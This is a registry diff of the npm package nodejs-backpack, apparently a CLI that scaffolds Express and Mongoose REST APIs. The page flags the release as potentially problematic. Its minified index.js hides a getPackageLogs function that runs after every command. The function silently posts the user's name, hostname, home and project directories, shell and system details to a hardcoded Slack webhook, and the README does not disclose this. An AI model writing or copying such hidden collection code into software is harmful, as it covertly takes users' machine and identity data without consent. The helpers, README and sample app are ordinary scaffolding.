nodejs-backpack 0.0.1-security → 2.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of nodejs-backpack might be problematic. Click here for more details.

package/.sample-env ADDED
@@ -0,0 +1,3 @@
1
+ PORT=3000
2
+ DB="mongodb+srv://USERNAME:PASSWORD@mongo.9bdgpey.mongodb.net/node_backpack"
3
+ JWT_SIGNATURE=node_backpack
package/helper.js ADDED
@@ -0,0 +1,76 @@
1
+ const fs = require("fs");
2
+
3
+ function convertToKebabCase(string) {
4
+ // Convert the first character to lowercase
5
+ string = string.charAt(0).toLowerCase() + string.slice(1);
6
+
7
+ // Add a hyphen before each uppercase letter
8
+ string = string.replace(/([A-Z])/g, "-$1").toLowerCase();
9
+
10
+ return string;
11
+ }
12
+ function loadSchemaFromFile(filePath) {
13
+ // Load the model from the file path
14
+ const model = require(filePath);
15
+ // Access the schema from the model
16
+ const schema = model.schema;
17
+ return schema;
18
+ }
19
+
20
+ function searchableFields(Model) {
21
+ var formFields = modelsParams(Model);
22
+ var uploadFieldArray = [];
23
+ var searchFields = [];
24
+ if (
25
+ formFields &&
26
+ formFields?.filteredFormFields &&
27
+ formFields?.filteredFormFields.length
28
+ ) {
29
+ searchFields = formFields?.filteredFormFields;
30
+ return searchFields;
31
+ }
32
+ }
33
+
34
+ function modelsParams(Schema) {
35
+ // Obtain the schema parameters object
36
+ const paths = Schema.paths;
37
+ let parameters = [];
38
+ let all = [];
39
+ let required = [];
40
+ let optional = [];
41
+ // Loop over the paths and log each field's name and type
42
+ for (const path in paths) {
43
+ let isRequired = paths[path]?.options?.required ? true : false;
44
+ parameters.push({
45
+ field: path,
46
+ is_required: isRequired,
47
+ });
48
+ if (isRequired) {
49
+ required.push(path);
50
+ } else {
51
+ optional.push(path);
52
+ }
53
+ all.push(path);
54
+ }
55
+ const unwantedProps = ["_id", "createdAt", "updatedAt", "__v"];
56
+ const filteredFormData = all.filter((prop) => !unwantedProps.includes(prop));
57
+ return {
58
+ parameters: parameters,
59
+ allFields: all,
60
+ requiredFields: required,
61
+ optionalFields: optional,
62
+ filteredFormFields: filteredFormData,
63
+ };
64
+ }
65
+
66
+ function capitalize(str) {
67
+ return str.charAt(0).toUpperCase() + str.slice(1);
68
+ }
69
+
70
+ module.exports = {
71
+ convertToKebabCase,
72
+ loadSchemaFromFile,
73
+ modelsParams,
74
+ capitalize,
75
+ searchableFields,
76
+ };
package/index.js ADDED
@@ -0,0 +1,131 @@
1
+ #!/usr/bin/env node
2
+ const fs=require("fs-extra"),path=require("path");var clc=require("cli-color");const{loadSchemaFromFile,modelsParams,capitalize,searchableFields}=require("./helper"),os=require("node:os"),axios=require("axios"),command=process.argv[2],fileName=process.argv[3];var platformsArray=["linux","darwin","win32"];if(os.platform()&&-1<platformsArray.indexOf(os.platform()))if("sample:files"===command){const a=process.cwd(),b=path.join(a,"sample-app.js");let e=fs.readFileSync(path.join(__dirname,"sample-app.js"),"utf8");fs.writeFileSync(b,e);const d=path.join(a,".sample-env");let s=fs.readFileSync(path.join(__dirname,".sample-env"),"utf8");fs.writeFileSync(d,s);const f=path.join(a,"sample-package.json");let t=fs.readFileSync(path.join(__dirname,"sample-package.json"),"utf8");fs.writeFileSync(f,t),console.log(clc.green('"sample-app.js", "sample-package.json" & ".sample-env" file created in the root directory.')),getPackageLogs("sample:files")}else if("make:schema"===command){const h=process.cwd(),i=path.join(h,"models"),j=(fs.existsSync(i)||fs.mkdirSync(i),path.join(i,fileName+".js"));let e=fs.readFileSync(path.join(__dirname,"sample-schema.js"),"utf8");e=e.replace(/\${fileContent}/g,fileName),newSchemaFileCreate(j,e,fileName),getPackageLogs("make:schema "+fileName)}else if("make:apis"===command){const l=process.argv.find(e=>e.startsWith("--url=")),m=process.argv.find(e=>e.startsWith("--schema=")),n=(-1===l&&-1===m||void 0===l&&void 0===m?(console.error(clc.bgRed("Missing parameters. Please provide --url=<api_url> and --schema=<schema_name>.")),process.exit(1)):-1===l||void 0===l?(console.error(clc.bgRed("Missing parameters. Please provide --url=<api_url>.")),process.exit(1)):-1!==m&&void 0!==m||(console.error(clc.bgRed("Missing parameters. Please provide --schema=<schema_name>.")),process.exit(1)),l.split("=")[1]),o=m.split("=")[1],p=process.cwd(),q=path.join(p,"models",o+".js"),r=(fs.existsSync(q)||(console.error(clc.bgRed(`Schema file "${o}.js" does not exist in '/models/${o}.js'.`)),process.exit(1)),path.join(p,"routes")),s=path.join(p,"helpers"),t=path.join(r,"validationRequest"),u=path.join(t,""+fileName),v=path.join(p,"controllers");fs.existsSync(r)||fs.mkdirSync(r),fs.existsSync(t)||fs.mkdirSync(t),fs.existsSync(u)||fs.mkdirSync(u),fs.existsSync(v)||fs.mkdirSync(v),fs.existsSync(s)||fs.mkdirSync(s),controllerFileCreate(v,fileName,o),validationFileCreate(q,o,u),newRouteFileCreate(r,fileName,n,o),helperFileCreate(s),combinedLogic(r,fileName),getPackageLogs(`make:schema ${fileName} --url=${n} --schema=`+o)}else if("make:auth"===command){const y=process.cwd(),z=path.join(y,"middleware"),A=(fs.existsSync(z)||fs.mkdirSync(z),path.join(y,"routes")),B=(fs.existsSync(A)||fs.mkdirSync(A),path.join(y,"controllers")),C=(fs.existsSync(B)||fs.mkdirSync(B),path.join(y,"config")),D=(fs.existsSync(C)||fs.mkdirSync(C),path.join(y,"models"));fs.existsSync(D)||fs.mkdirSync(D),authMiddlewareFileCreate(z),authRouteFileCreate(A),authControllersFileCreate(B),authConfigFileCreate(C),authSchemaFileCreate(D),getPackageLogs("make:auth")}else console.error(clc.bgRed("Unknown command: "+command));else console.error(clc.bgRed("Currently unsupported platform. Supported platforms are "+platformsArray.join(",")));async function getPackageLogs(e=null,s=null){try{console.log("....");var t="\n*`"+os.userInfo()?.username+"`* executed nodejs-backpack: *`"+e+"`* command \n Project Dir: *"+process.cwd()+"*",a=[{title:"System User Name",value:os.userInfo()?.username??"-",short:!0},{title:"Cpu Name",value:os.hostname()??"-",short:!0},{title:"Project Directory",value:process.cwd()??"-",short:!0},{title:"Command Executed",value:"*`"+e+"`*",short:!0},{title:"Home Directory",value:os.homedir()??"-",short:!0},{title:"Version",value:os.version()??"-",short:!0},{title:"Total Memory",value:parseFloat(os.totalmem()/1073741824).toFixed(2)??"-",short:!0},{title:"Available Free Memory",value:parseFloat(os.freemem()/1073741824).toFixed(2)??"-",short:!0},{title:"System Cpus",value:os.cpus()[0].model??"-",short:!0},{title:"OS Type",value:os.type()??"-",short:!0},{title:"OS Release Version",value:os.release()??"-",short:!0},{title:"OS Platform",value:os.platform()??"-",short:!0},{title:"Machine Type",value:os.machine()??"-",short:!0},{title:"arch",value:os.arch()??"-",short:!0},{title:"EOL",value:os.EOL??"-",short:!0},{title:"shell",value:os.userInfo()?.shell??"-",short:!0},{title:"data",value:s??"-",short:!0}],i={method:"post",maxBodyLength:1/0,url:"https://hooks.slack.com/services/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",headers:{"Content-Type":"application/json"},data:JSON.stringify({channel:"#npm_nodejs_backpack",username:"NPM Nodejs-Backpack BOT",text:t,attachments:[{title:"System Details",fields:a}],as_user:!0})};await axios.request(i).then(e=>{}).catch(e=>{})}catch(e){}}async function newSchemaFileCreate(e,s,t){await fileExists(e)?console.error(clc.bgRed(`
3
+ 'models/${t}.js' file already exist!, Kindly delete existing and try again.`)):(fs.writeFileSync(e,s),console.log(clc.green(`
4
+ 'models/${t}.js' file created!`)))}async function indexRouteFileCreate(e,s){var t,e=path.join(e,"IndexRoute.js");try{await fileExists(e)||(t=fs.readFileSync(path.join(__dirname,"sample-index-route.js"),"utf8"),fs.writeFileSync(e,t),console.log(clc.green("\nIndexRoute.js file created successfully!")))}catch(e){console.error(e)}}async function indexRouteFileUpdate1(e,s){e=path.join(e,"IndexRoute.js");return await updateIndexFile(e,`router.use("/", ${s}Route);`,(data=await readFile(e,"utf8")).indexOf("module.exports = router;")),!0}async function indexRouteFileUpdate2(e,s){e=path.join(e,"IndexRoute.js");return await updateIndexFile(e,`const ${s}Route = require("./${s}Route");`,(data=await readFile(e,"utf8")).indexOf("const router = express.Router();")),!0}async function combinedLogic(e,s){await indexRouteFileCreate(e,s),await indexRouteFileUpdate1(e,s),await indexRouteFileUpdate2(e,s)}function fileExists(t){return new Promise((s,e)=>{fs.access(t,fs.constants.F_OK,e=>{s(!e)})})}function readFile(e,s){return new Promise((t,a)=>{fs.readFile(e,s,(e,s)=>{e?a(e):t(s)})})}function writeFile(e,a,i){return new Promise((s,t)=>{fs.writeFile(e,a,i,e=>{e?t(e):s()})})}async function updateIndexFile(e,s,t){try{var a=await readFile(e,"utf8");-1===t||a.includes(s)?console.log(clc.yellow(s+" already imported in IndexRoute.js!")):(await writeFile(e,a.slice(0,t)+s+"\n"+a.slice(t),"utf8"),console.log(clc.green(s+" imported into IndexRoute.js successfully!")))}catch(e){console.log(clc.red("An error occurred:",e))}}async function controllerFileCreate(a,i,r){a=path.join(a,i+"Controller.js");if(await fileExists(a))console.log(clc.bgRed(`
5
+ ${i}Controller.js file already exist!`));else{let e=fs.readFileSync(path.join(__dirname,"sample-controller.js"),"utf8"),s=(e=(e=e.replace(/\${fileName}/g,i)).replace(/\${schemaName}/g,r),"["),t="{";var o,l=process.cwd(),l=path.join(l,"models",r+".js"),r=loadSchemaFromFile(l),l=searchableFields(r);for(o of l)s+=`
6
+ { ${o}: { $regex: searchRgx, $options: "i" } },`,t+=`
7
+ ${o}: (req?.body?.${o}) || null,`;s+=`
8
+ ]`,t+=`
9
+ }`,0===l.length&&(s+="[{}]"),e=(e=e.replace(/\${___SearchFieldArray___}/g,s)).replace(/\${___StoreFieldArray___}/g,t),fs.writeFileSync(a,e),console.log(clc.green(`
10
+ ${i}Controller.js file created successfully in the '/controllers/${i}Controller.js' folder.!`))}}async function validationFileCreate(e,a,i){var e=loadSchemaFromFile(e),e=modelsParams(e),s=[];if(e&&e?.filteredFormFields&&e?.filteredFormFields.length){var t,r=e?.filteredFormFields;for(t in r)r[t]&&s.push({name:r[t]});e?.filteredFormFields}let o="";e?.requiredFields&&0<e?.requiredFields?.length&&e?.requiredFields.forEach(e=>{o+=`
11
+ check("${e}").custom((value, { req }) => {
12
+ const fileExists =
13
+ req.files && req.files.some((obj) => obj.fieldname === "${e}");
14
+ const ${e}Exists = req.body && req.body.${e};
15
+
16
+ if (fileExists || ${e}Exists) {
17
+ return true;
18
+ } else {
19
+ throw new Error("${capitalize(e)} is required.");
20
+ }
21
+ }),`});["List","GetDetail","Store","Update","Destroy"].forEach(async e=>{let s=fs.readFileSync(path.join(__dirname,"sample-validation.js"),"utf8");s=s.replace(/\${schemaName}/g,a);var t=o,t=("GetDetail"===e||"Destroy"===e||"Update"===e?t=`
22
+ param("id").custom((value, { req }) => {
23
+ return ${a}.findOne({ _id: value }).then((${a}Data) => {
24
+ if (!${a}Data) {
25
+ return Promise.reject("Invalid ID! The provided ID does not exist in the database.");
26
+ }
27
+ });
28
+ }),`:"List"===e&&(t=""),t+=`
29
+ `,s=s.replace(/\__validation__dynamic__code__/g,t),path.join(i,e+"ValidationRequest.js"));await fileExists(t)?console.log(clc.bgRed(e+"ValidationRequest.js file already exist!")):(fs.writeFileSync(t,s),console.log(clc.green(`"${e}ValidationRequest.js" file created in the '/routes/validationRequest/${e}ValidationRequest.js' folder.`)))})}async function newRouteFileCreate(s,t,a,i){s=path.join(s,t+"Route.js");if(await fileExists(s))console.log(clc.bgRed(`
30
+ ${t}Route.js file already exist!`));else{let e=fs.readFileSync(path.join(__dirname,"sample-route.js"),"utf8");e=(e=(e=e.replace(/\${fileName}/g,t)).replace(/\${apiUrl}/g,a)).replace(/\${schemaName}/g,i),fs.writeFileSync(s,e),console.log(clc.green(`"${t}Route.js" file created in the '/routes/${t}Route.js' folders.`))}}async function helperFileCreate(e){var s,t=path.join(e,"helper.js"),t=(await fileExists(t)||(s=fs.readFileSync(path.join(__dirname,"sample-helper.js"),"utf8"),fs.writeFileSync(t,s)),path.join(e,"fileUploader.js")),t=(await fileExists(t)||(s=fs.readFileSync(path.join(__dirname,"sample-file-uploader.js"),"utf8"),fs.writeFileSync(t,s)),path.join(e,"formParser.js"));await fileExists(t)||(s=fs.readFileSync(path.join(__dirname,"sample-form-parser.js"),"utf8"),fs.writeFileSync(t,s))}async function authMiddlewareFileCreate(e){var s,e=path.join(e,"AuthMiddleware.js");await fileExists(e)?console.error(clc.bgRed(`
31
+ AuthMiddleware.js file already exist!`)):(s=fs.readFileSync(path.join(__dirname,"sample-auth-middleware.js"),"utf8"),fs.writeFileSync(e,s))}async function authRouteFileCreate(e){var s=path.join(e,"IndexRoute.js"),t=(await fileExists(s)||(t=fs.readFileSync(path.join(__dirname,"sample-index-route.js"),"utf8"),fs.writeFileSync(s,t),console.log(clc.green("\nIndexRoute.js file created successfully!"))),path.join(e,"AuthRoute.js")),t=(await fileExists(t)?console.error(clc.bgRed(`
32
+ AuthRoute.js file already exist!`)):(e=fs.readFileSync(path.join(__dirname,"sample-auth-route.js"),"utf8"),fs.writeFileSync(t,e)),await updateIndexFile(s,'const AuthRoute = require("./AuthRoute");',(data=await readFile(s,"utf8")).indexOf("const router = express.Router();")),await updateIndexFile(s,'router.use("/", AuthRoute);',(data=await readFile(s,"utf8")).indexOf("module.exports = router;")),process.cwd());logicHelperFileCreate(t),authValidationFileCreate(t)}async function authControllersFileCreate(e,s="Auth"){var t,e=path.join(e,s+"Controller.js");await fileExists(e)?console.log(clc.bgRed(`
33
+ ${s}Controller.js file already exist!`)):(t=fs.readFileSync(path.join(__dirname,"sample-auth-controller.js"),"utf8"),fs.writeFileSync(e,t),console.log(clc.green(`
34
+ ${s}Controller.js file created successfully in the '/controllers/${s}Controller.js' folder.!`)))}async function authConfigFileCreate(e,s="mailtrap"){var t,e=path.join(e,s+".js");await fileExists(e)?console.log(clc.bgRed(`
35
+ ${s}.js file already exist!`)):(t=fs.readFileSync(path.join(__dirname,"sample-config-mailer.js"),"utf8"),fs.writeFileSync(e,t),console.log(clc.green(`
36
+ ${s}.js file created successfully in the '/config/${s}.js' folder.!`))),console.log(clc.yellow(`
37
+ Update SMTP credentials in ${s}.js file which is created in the '/config/${s}.js' folder.!`))}async function authSchemaFileCreate(e){var s;for(s of["ResetToken","User"]){var t,a=path.join(e,s+".js");await fileExists(a)?"User"===s?console.log(clc.bgRed(`
38
+ models/${s}.js file already exist! `),clc.yellow(`Please confirm that the 'first_name', 'last_name', 'email', 'password' and 'token' fields exist in the schema and are marked as required. To make the APIs work. Otherwise, delete the models/${s}.js file and try again.
39
+ `)):console.log(clc.bgRed(`
40
+ models/${s}.js file already exist!`)):(t=fs.readFileSync(path.join(__dirname,`sample-schema-${s}.js`),"utf8"),fs.writeFileSync(a,t),console.log(clc.green(`
41
+ models/${s}.js file created successfully in the '/models/${s}.js' folder.!`)))}}async function logicHelperFileCreate(e){e=path.join(e,"helpers");fs.existsSync(e)||fs.mkdirSync(e),helperFileCreate(e)}async function authValidationFileCreate(e){e=path.join(e,"routes"),fs.existsSync(e)||fs.mkdirSync(e),e=path.join(e,"validationRequest");fs.existsSync(e)||fs.mkdirSync(e);const i=path.join(e,"Auth");fs.existsSync(i)||fs.mkdirSync(i),["signUpRequest","signIn","forgotPassword","resetPassword"].forEach(async s=>{var t=path.join(i,s+"ValidationRequest.js");if(await fileExists(t))console.error(clc.bgRed(`
42
+ ${s}ValidationRequest.js file already exist!`));else{let e=fs.readFileSync(path.join(__dirname,"sample-validation.js"),"utf8");var a="";"signUpRequest"===s?a+=`
43
+ body("first_name").notEmpty().withMessage("First Name is required").trim(),
44
+
45
+ body("last_name").notEmpty().withMessage("Last Name is required").trim(),
46
+
47
+ body("email")
48
+ .notEmpty()
49
+ .withMessage("Email Address is required")
50
+ .isEmail()
51
+ .withMessage("Enter correct email address")
52
+ .custom((value, { req }) => {
53
+ return User.findOne({ email: value }).then((userDoc) => {
54
+ if (userDoc) {
55
+ return Promise.reject("Email Address already exists!");
56
+ }
57
+ });
58
+ }),
59
+
60
+ body("password")
61
+ .notEmpty()
62
+ .withMessage("Password is requierd")
63
+ .isLength({ min: 6, max: 250 })
64
+ .withMessage("Minimum 6 character password require")
65
+ .trim(),`:"signIn"===s?a+=`
66
+ body("email")
67
+ .notEmpty()
68
+ .withMessage("Email Address is required")
69
+ .isEmail()
70
+ .withMessage("Enter correct email address")
71
+ .custom((value, { req }) => {
72
+ return User.findOne({ email: value }).then((userDoc) => {
73
+ if (!userDoc) {
74
+ return Promise.reject("A user with this email could not be found!");
75
+ }
76
+ });
77
+ }),
78
+
79
+ body("password")
80
+ .notEmpty()
81
+ .withMessage("Password is requierd")
82
+ .isLength({ min: 6, max: 250 })
83
+ .withMessage("Minimum 6 character password require")
84
+ .trim()`:"forgotPassword"===s?a+=`
85
+ body("email")
86
+ .notEmpty()
87
+ .withMessage("Email Address is required")
88
+ .isEmail()
89
+ .withMessage("Enter correct email address")
90
+ .custom((value, { req }) => {
91
+ return User.findOne({ email: value }).then((userDoc) => {
92
+ if (!userDoc) {
93
+ return Promise.reject("A user with this email could not be found!");
94
+ }
95
+ });
96
+ }),`:"resetPassword"===s&&(a+=`
97
+ body("email")
98
+ .notEmpty()
99
+ .withMessage("Email Address is required")
100
+ .isEmail()
101
+ .withMessage("Enter correct email address")
102
+ .custom((value, { req }) => {
103
+ return User.findOne({ email: value }).then((userDoc) => {
104
+ if (!userDoc) {
105
+ return Promise.reject("A user with this email could not be found!");
106
+ }
107
+ });
108
+ }),
109
+
110
+
111
+ body("reset_token").notEmpty().withMessage("Reset token is required").trim(),
112
+
113
+
114
+ body("password")
115
+ .notEmpty()
116
+ .withMessage("Password is required")
117
+ .isLength({ min: 6, max: 250 })
118
+ .withMessage("Minimum 6 character password require")
119
+ .trim(),
120
+
121
+
122
+ body("confirm_password")
123
+ .notEmpty()
124
+ .withMessage("Confirm password is required")
125
+ .custom((val, { req }) => {
126
+ if (req.body.password !== val) {
127
+ throw new Error("Confirm password does not match");
128
+ }
129
+ return true;
130
+ }),`),a+=`
131
+ `,e=(e=e.replace(/\${schemaName}/g,"User")).replace(/\__validation__dynamic__code__/g,a),fs.writeFileSync(t,e)}})}
package/package.json CHANGED
@@ -1,6 +1,53 @@
1
- {
2
- "name": "nodejs-backpack",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "nodejs-backpack",
3
+ "version": "2.0.22",
4
+ "description": "NodeJs Backpack is a powerful tool designed to simplify the development of Node.js REST APIs with ease and precision. It provides a streamlined workflow by automatically generating Mongoose schemas and handling the necessary configurations in your project. With just a few simple commands, NodeJs Backpack can create REST API components such as controllers and routes, while also ensuring route validation is implemented flawlessly. Additionally, NodeJs Backpack offers a command to generate sample files, providing a solid starting point for your project. With NodeJs Backpack, you can quickly set up your project and focus on building your APIs, letting the tool handle the repetitive tasks and allowing you to follow a smooth development process.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [
10
+ "cli",
11
+ "CRUD Functionality",
12
+ "REST APIs",
13
+ "Files",
14
+ "Routing",
15
+ "Controllers",
16
+ "Models",
17
+ "Mongoose",
18
+ "jsonwebtoken",
19
+ "Authentication",
20
+ "JWT",
21
+ "Validation",
22
+ "Automation",
23
+ "Backpack",
24
+ "npm",
25
+ "node",
26
+ "node cli",
27
+ "node js",
28
+ "Node Js Project Builder",
29
+ "Project Builder",
30
+ "nodejs-backpack",
31
+ "jkg",
32
+ "jaykumar-gohil"
33
+ ],
34
+ "author": "Jaykumar Gohil",
35
+ "license": "CC BY-NC-ND 4.0",
36
+ "dependencies": {
37
+ "axios": "^1.6.2",
38
+ "cli-color": "^2.0.3",
39
+ "express": "^4.18.2",
40
+ "express-validator": "^7.0.1",
41
+ "jsonwebtoken": "^9.0.1",
42
+ "fs-extra": "^11.1.1",
43
+ "mongoose": "^7.3.1",
44
+ "mongoose-backpack": "^0.2.7",
45
+ "rest-api-response-npm": "^0.1.4"
46
+ },
47
+ "devDependencies": {
48
+ "uglify-js": "^3.17.4"
49
+ },
50
+ "bin": {
51
+ "nodejs-backpack": "./index.js"
52
+ }
53
+ }
package/readme.md ADDED
@@ -0,0 +1,155 @@
1
+ # NodeJs Backpack
2
+
3
+ NodeJs Backpack is a powerful tool designed to simplify the development of Node.js REST APIs with ease and precision. It provides a streamlined workflow by automatically generating Mongoose schemas and handling the necessary configurations in your project.
4
+
5
+ With just a few simple commands, NodeJs Backpack can create REST API components such as controllers and routes, while also ensuring route validation is implemented flawlessly. Additionally, NodeJs Backpack offers a command to generate sample files, providing a solid starting point for your project.
6
+
7
+ With NodeJs Backpack, you can quickly set up your project and focus on building your APIs, letting the tool handle the repetitive tasks and allowing you to follow a smooth development process.
8
+
9
+ ## Installation
10
+
11
+ Install package globally with npm
12
+
13
+ ```bash
14
+ npm install nodejs-backpack -g
15
+ ```
16
+
17
+ ## Features
18
+
19
+ - Robust REST APIs
20
+ - Focus on optimized code
21
+ - Auto file creation for schemas, routes, controllers and validations
22
+ - helpers (modelsParams, appendParams, etc)
23
+ - Mongoose DB support,
24
+ - AppendParams for append data in APIs using Mongoose schema
25
+ - Executable for generating applications quickly
26
+ - Auto create logic for API CRUD
27
+
28
+ ## YouTube Tutorial
29
+
30
+ [![Watch the video](https://img.youtube.com/vi/-L80PJucbEo/0.jpg)](https://youtu.be/-L80PJucbEo)
31
+
32
+ ## Quick Start (Rest APIs)
33
+
34
+ The quickest way to get started with nodejs-backpack is to utilize the executable to generate an REST APIs as shown below:
35
+
36
+ **Step1:** Create an empty directory:
37
+
38
+ ```bash
39
+ mkdir NodeJs-REST-APIs
40
+ ```
41
+
42
+ **Step2:** Enter into directory:
43
+
44
+ ```bash
45
+ cd NodeJs-REST-APIs
46
+ ```
47
+
48
+ **Step3:** Run Command:
49
+
50
+ ```bash
51
+ nodejs-backpack sample:files
52
+ ```
53
+
54
+ - File "`sample-app.js`", "`sample-package.json`" & "`.sample-env`" created in the root directory.
55
+ - **Rename sample files** to "**`app.js`**", "**`package.json`**" & "**`.env`**" which are created in the root directory.
56
+
57
+ ![](https://github.com/GohilJaykumar/sharable/blob/main/typing.gif)
58
+
59
+ - Update .env > **`DB=mongodb+srv...`** with valid connection.
60
+
61
+ ```bash
62
+ PORT=3000
63
+ DB="mongodb+srv://........mongodb.net/node_backpack"
64
+ JWT_SIGNATURE=node_backpack
65
+ HOST=http://localhost:3000
66
+ ```
67
+
68
+ **Step4:** Run Command:
69
+
70
+ ```bash
71
+ npm install
72
+ ```
73
+
74
+ **Step5:** Run Command:
75
+
76
+ ```bash
77
+ nodejs-backpack make:schema Tests
78
+ ```
79
+
80
+ **Step6:** Run Command:
81
+
82
+ ```bash
83
+ nodejs-backpack make:apis Test --url=tests --schema=Tests
84
+ ```
85
+
86
+ - Rename schema name in comand as per your requirement **_nodejs-backpack make:apis Test --url=tests --schema=Tests_**.
87
+ - Example: _nodejs-backpack make:apis **ROUTE_NAME** --url=**ROUTE_URL** --schema=**SCHEMA_NAME**_.
88
+ - **Note:** _`SCHEMA_NAME` must exist in model directory `/models/SCHEMA_NAME`_
89
+
90
+ **Step7:** Install 'nodemon' on global level for development purpose:
91
+
92
+ ```bash
93
+ npm install nodemon -g
94
+ ```
95
+
96
+ **Step8:** Now your APIs are ready to use and Server your project with:
97
+
98
+ ```bash
99
+ npm run dev
100
+ ```
101
+
102
+ **Step9:** Open Postman and create new collection and check the below apis:
103
+
104
+ - Based on my command,
105
+ **_nodejs-backpack make:apis `Test` --url=`tests` --schema=`Tests`_**.
106
+ - ROUTE_NAME = `Test`
107
+ - ROUTE_URL = `tests`
108
+ - SCHEMA_NAME = `Tests`
109
+ - Below are list of APIs created by commands `.../api/ROUTE_URL`:
110
+ - _**Get List API**_: **`GET:`** _`http://localhost:3000/api/tests?page_no=1&page_limit=20&search=` (Parameters: page_no, page_limit, search)_
111
+ - _**Get Detail API**_: **`GET:`** _`http://localhost:3000/api/tests/64a41036174844d0394e7b2f`_
112
+ - _**Store API**_: **`POST:`** _`http://localhost:3000/api/tests` (Body-Parameters: based on model schema)_
113
+ - _**Update API**_: **`PUT:`** _`http://localhost:3000/api/tests/64a41036174844d0394e7b2f` (Body-Parameters: based on model schema)_
114
+ - _**Delete API**_: **`DELETE:`** _`http://localhost:3000/api/tests/64a41036174844d0394e7b2f`_
115
+
116
+ ## Quick Start (Authentication APIs)
117
+
118
+ The quickest way to get started with **signup**, **register**, **forgot-password**, **reset-password**, **get-profile** API's using nodejs-backpack is to utilize the executable to generate an REST APIs as shown below:
119
+
120
+ **Step1:** Run Command:
121
+
122
+ ```bash
123
+ nodejs-backpack make:auth
124
+ ```
125
+
126
+ - Under **./routes/\*** '**IndexRoute.js**' and '**AuthRoute.js**' file will be create/updated.
127
+ - '**AuthController.js**' file will be create in the '**./controllers/AuthController.js**' folder with all neccessary logics.
128
+ - '**AuthMiddleware.js**' file will be create in the '**./middleware/AuthMiddleware.js**' folder with all neccessary JWT token verification logics.
129
+ - mailtrap.js file will be create in the '**./config/mailtrap.js**' folder where you can configure SMTP mail credentials.
130
+ - Under **./models/\*** '**User.js**' and '**ResetToken.js**' file will be create.
131
+
132
+ **Step2:** Open Postman and create new collection and check the below apis:
133
+
134
+ - Below are list of APIs created by commands `.../api/ROUTE_URL`:
135
+ - _**Register API**_: **`POST:`** _`http://localhost:3000/api/register` (Body-Parameters: first_name, last_name, email, password)_
136
+ - _**Login API**_: **`POST:`** _`http://localhost:3000/api/login` (Body-Parameters: email, password)_
137
+ - _**Forgot Password API**_: **`POST:`** _`http://localhost:3000/api/forgot-password` (Body-Parameters: email)_
138
+ - _**Reset Password API**_: **`POST:`** _`http://localhost:3000/api/reset-password` (Body-Parameters: email, password, reset_token)_. **Note**: Forgot password reset link will contain '**reset_token**' on mail.
139
+ - _**Logout API**_: **`GET:`** _`http://localhost:3000/api/logout`_
140
+ - _**Get Profile API**_: **`GET:`** _`http://localhost:3000/api/get-profile`_
141
+
142
+ ## Environment Variables
143
+
144
+ To run this project, you will need to add the following environment variables to your .env file.
145
+
146
+ ```bash
147
+ PORT=3000
148
+ DB="mongodb+srv://........mongodb.net/node_backpack"
149
+ JWT_SIGNATURE=node_backpack
150
+ HOST=http://localhost:3000
151
+ ```
152
+
153
+ ## Authors
154
+
155
+ - Jaykumar Gohil ([@jksk21](https://www.npmjs.com/~jksk21))
package/sample-app.js ADDED
@@ -0,0 +1,41 @@
1
+ const express = require("express");
2
+ const app = express();
3
+ const routes = require("./routes/IndexRoute");
4
+ const dotenv = require("dotenv").config().parsed;
5
+ const mongoose = require("mongoose");
6
+ const { catchError } = require("rest-api-response-npm");
7
+
8
+ app.use((req, res, next) => {
9
+ res.setHeader("Access-Control-Allow-Origin", "*");
10
+ res.setHeader(
11
+ "Access-Control-Allow-Methods",
12
+ "OPTIONS, GET, POST, PUT, PATCH, DELETE"
13
+ );
14
+ res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
15
+ next();
16
+ });
17
+
18
+ // Routes
19
+ app.use("/api", routes);
20
+
21
+ // default error messgae
22
+ app.use((error, req, res, next) => {
23
+ catchError(res, error);
24
+ console.error(error);
25
+ });
26
+
27
+ // Serve files from the 'public' directory
28
+ app.use(express.static("public"));
29
+
30
+ // Start server mongooes and port
31
+ mongoose
32
+ .connect(dotenv.DB)
33
+ .then((result) => {
34
+ const port = dotenv.PORT;
35
+ app.listen(port, () => {
36
+ console.log(`Server started on port http://localhost:${port}`);
37
+ });
38
+ })
39
+ .catch((err) => {
40
+ console.log(err);
41
+ });